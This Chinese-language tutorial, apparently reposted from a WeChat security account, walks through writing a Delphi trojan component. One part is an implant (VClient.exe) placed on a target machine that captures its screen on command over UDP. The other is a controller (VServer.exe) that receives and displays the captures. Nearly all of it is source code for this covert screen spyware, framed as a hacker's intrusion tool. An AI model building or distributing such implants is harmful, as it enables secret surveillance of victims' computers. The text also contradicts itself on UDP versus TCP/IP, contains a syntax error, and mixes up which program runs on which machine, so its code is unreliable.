基于 Delphi 的木马浅析
一次性进群,长期免费索取教程,没有付费教程。
教程列表见微信公众号底部菜单
进微信群回复公众号:微信群;QQ群:16004488
微信公众号:计算机与网络安全
ID:Computer-network
黑客们经常使用一些系统监控工具对目标计算机进行监视,它不仅监视目标计算机重启、关机等操作,还对目标主机日常操作进行设置。要想完全控制目标主机,就应先对其进行监控。本文将介绍通过UDP协议来实现远程监视屏幕的方法,这里使用的不是TCP/IP协议。
UDP(User Datagram Protocol,用户报文协议)是Internet上广泛采用的通信协议之一。它是一种非连接的传输协议,虽然其没有确认机制,可靠性不如TCP,但其效率非常高,适合用于远程屏幕监视。同时,UDP控件不区分服务器端和客户端,只区分发送端和接收端,编程较为简单,可选用UDP协议,使用Delphi提供的TNMUDP控件。
一、实现过程
远程监视屏幕是黑客入侵时所用的工具的一个重要功能,它通常由一个客户端和服务端组成,当目标主机上运行服务端程序时,可使用客户端程序来实现远程监视其屏幕。这里需要使用Delphi语言编写一个装在受控机上发送端程序VClient.exe和一个在主控机上接收端程序VServer.exe。其中VServer.exe指定要监视的受控机的IP地址和在受控机屏幕上抓取区域的大小和位置,并发出屏幕抓取指令给VClient.exe;当VClient.exe得到指令后在受控机屏幕上选取指定区域,生成数据流将其发回主控机,并在主控机上显示抓取区域的BMP图像。
由以上过程可以看出,该方法有两个关键所在:一是如何在受控机上进行屏幕抓取,二是如何通过TCP/IP协议在两台计算机间传输数据。
二、编写发送端程序
在了解远程监视屏幕的具体实现过程后,即可编写发送端程序。具体操作步骤如下。
步骤1:在Delphi中新建一个Name属性为Client的Delphi工程,加入TNMUDP控件,并将其Name属性设为CUDP。
步骤2:将LocalPort属性设为1433,以便让控件CUDP监视受控机的1433端口,当有数据发送到该口时,就会触发CUDP控件中OnDataReceived事件。
步骤3:将RemotePort属性设为1455之后,这样当控件CUDP发送数据时,就会将数据发到主控机的1455端口。
步骤4:在implementation后面加入变量定义如下。
const BufSize=2047;//发送每一条数据的缓冲区大小
var
BmpStream:TMemoryStream;
LeftSize:Longint;// 发送每一条数据后剩余的字节数
步骤5:为Client的OnCreate事件添加相应的动作代码,添加的代码如下。
procedure TClient.FormCreate(Sender: TObject);
begin
BmpStream:=TMemoryStream.Create;
end;
步骤6:为Client的OnDestroy事件添加如下的动作代码。
procedure TClient.FormDestroy(Sender: TObject);
begin
BmpStream.Free;
end;
步骤7:为控件CUDP的OnDataReceived事件添加如下的动作代码。
procedure TClient.CUDPDataReceived (Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
CtrlCode:array[0..29] of char;
Buf:array[0..BufSize-1] of char;
TmpStr:string;
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);//读取控制码
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='show' then
begin //控制码前4位为show,表示主控机发出了抓屏指令
if BmpStream.Size=0 then //没有数据可发,必须截屏生成数据
begin
TmpStr:=StrPas(CtrlCode);
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr) -Pos(':',TmpStr));
TopPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-Pos(':',TmpStr));
RightPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
BottomPos:=StrToInt(Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-Pos':',TmpStr)));
ScreenCap(LeftPos,TopPos,RightPos,BottomPos); //截取屏幕
end;
if LeftSize>BufSize then SendSize:=BufSize
else SendSize:=LeftSize;
BmpStream.ReadBuffer(Buf,SendSize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then BmpStream.Clear; //清空流
CUDP.RemoteHost:=FromIP; // FromIP为主控机IP地址
CUDP.SendBuffer(Buf,SendSize); //将数据发到主控机的1455端口
end;
end;
步骤8:上述ScreenCap是自定义函数,其作用是截取屏幕指定区域,其具体代码如下。
procedure TClient.ScreenCap(LeftPos,TopPos, RightPos,BottomPos:integer);
var
RectWidth,RectHeight:integer;
SourceDC,DestDC,Bhandle:integer;
Bitmap:TBitmap;
begin
RectWidth:=RightPos-LeftPos;
RectHeight:=BottomPos-TopPos;
SourceDC:=CreateDC('DISPLAY','','',nil);
DestDC:=CreateCompatibleDC(SourceDC);
Bhandle:=CreateCompatibleBitmap(SourceDC, RectWidth,RectHeight);
SelectObject(DestDC,Bhandle);
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC, LeftPos,TopPos,SRCCOPY);
Bitmap:=TBitmap.Create;
Bitmap.Handle:=BHandle;
BitMap.SaveToStream(BmpStream);
BmpStream.Position:=0;
LeftSize:=BmpStream.Size;
Bitmap.Free;
DeleteDC(DestDC);
ReleaseDC(Bhandle,SourceDC);
end;
步骤9:最后将新创建的工程保存为C:VClientClnUnit.pas和C:VClientVClient.dpr,并编译。至此,VClient.exe文件的编制就完成了。
三、编写接收端程序
在发送端文件编写完毕后,就可以开始编写接收端VServer.exe文件了。具体的操作步骤如下。
步骤1:新建一个默认窗体的Name属性为Server的Delphi工程,并加入TNMUDP控件,Name属性设为SUDP。
步骤2:将LocalPort属性设为1455,让控件SUDP监视主控机的1455端口,当有数据发送到该口时,触发控件SUDP的OnDataReceived事件。
步骤3:RemotePort属性设为1433,当控件SUDP发送数据时,将数据发到受控机的1433端口。再在其中加入如下的控件,并设置相应属性。
Image1控件,并将Align属性设为alClient。
Button1控件,并将Caption属性设为“截屏”。
Label1控件,并将Caption属性设为“左:上:右:下”。
Label2控件,并将Caption属性设为“受控机IP地址”。
Edit1控件,并将Text属性设为“0:0:100:100”。
Edit2控件,并将Text属性设为“127.0.0.1”。
步骤4:在implementation后面加入如下变量定义。
const BufSize=2047;
var
RsltStream,TmpStream:TMemoryStream;
步骤5:为Server的OnCreate事件添加如下的动作代码。
procedure TServer.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;
步骤6:为Client的OnDestroy事件添加动作代码,添加的动作代码如下。
procedure TServer.FormDestroy(Sender: TObject);
begin
RsltStream.Free;
TmpStream.Free;
end;
步骤7:为控件Button1的OnClick事件添加如下的动作代码。
procedure TServer.Button1Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.Text;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
步骤8:为控件SUDP的OnDataReceived事件添加如下的动作代码。
procedure TServer.SUDPDataReceived(Sender: TComponent; NumberBytes: Integer; FromIP: String);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.text;
StrpCopy(ReqCode,ReqCodeStr);
SUDP.ReadStream(TmpStream);
RsltStream.CopyFrom(TmpStream,NumberBytes);
if NumberBytes< BufSize then // 数据已读完
begin
RsltStream.Position:=0;
Image1.Picture.Bitmap.LoadFromStream(RsltStream);
TmpStream.Clear;
RsltStream.Clear;
end
else
begin
TmpStream.Clear;
ReqCode:='show';
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
end;
步骤9:将创建的工程保存为C:VServerSvrUnit.pas和C:VServerVServer.dpr,并对其进行编译。
四、测试程序
在通常情况下,在程序编写完成之后,需要测试编写的程序是否可以实现特定的功能。具体测试方法:在目标计算机中运行VServer.exe程序;选择一台计算机作为主控机,运行VClient.exe并将“受控机IP地址”(即Edit2的内容)设为受控机IP地址,看能否实现截屏。
微信公众号:计算机与网络安全
ID:Computer-network